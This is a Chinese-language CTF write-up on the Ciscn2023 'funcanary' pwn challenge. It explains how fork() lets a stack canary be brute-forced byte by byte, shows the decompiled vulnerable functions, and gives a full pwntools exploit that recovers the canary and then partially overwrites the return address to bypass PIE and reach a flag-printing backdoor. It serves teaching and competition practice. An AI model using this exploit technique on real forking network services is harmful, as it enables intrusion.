前言
一种强行泄露出canary的办法 不是很喜欢这类题目 主要是爆破canary的时间比较久 如果后面的脚本有问题 就得重新跑 比较烦人
原理
原理主要来关注一下fork函数
fork函数利用系统调用创建了一个子进程 这个子进程的终止与否都不会影响到父进程 系统会给子进程分配代码空间和存储数据 大部分和父进程是一样的
关键的canary也和父进程是一样的 由于子进程的终止不会影响到父进程 所以 如果子进程由于canary不对而触发__stack_chk_fali函数
子进程自己是终止了 但是父进程依然存在 所以可以利用这一点逐个字节爆破canary 如果最后不报错 就说明canary爆破成功 就可以进行栈溢出了
实例
Ciscn2023 funcanary
保护机制全开 64位
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __pid_t v3;
sub_1243(a1, a2, a3); while ( 1 ) { v3 = fork(); if ( v3 < 0 ) break; if ( v3 ) { wait(0LL); } else { puts("welcome"); sub_128A(); puts("have fun"); } } puts("fork error"); exit(0); }
|
while嵌套了主要的逻辑 每次都fork出一个子进程 随后进入sub_128A执行操作 跟进一下
unsigned __int64 sub_128A() { char buf[104]; unsigned __int64 v2;
v2 = __readfsqword(0x28u); read(0, buf, 0x80uLL); return v2 - __readfsqword(0x28u); }
|
拥有栈溢出的机会 同时还有一个后门函数
int sub_1228() { return system("/bin/cat flag"); }
|
那么就是利用fork函数爆破出canary 随后就是栈溢出劫持程序执行流 但是由于开启了pie 所以还得再爆破一位 才能进入后门函数
完整exp:
from pwn import* from ctypes import *
io = remote("39.105.26.155",38646) elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h'] libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
io.recvuntil("welcome") canary = b'\x00' for j in range(7):
for i in range(0x100):
io.send(cyclic(0x68) + canary + i.to_bytes(1,'little'))
a = io.recvuntil('welcome\n')
if b'have fun' in a:
canary += i.to_bytes(1,'little')
break payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x02' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x12' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x22' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x32' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x42' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x52' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x62' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x72' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x82' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x92' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xa2' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xb2' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xc2' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xd2' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xe2' io.send(payload) payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xf2' io.send(payload) io.interactive()
|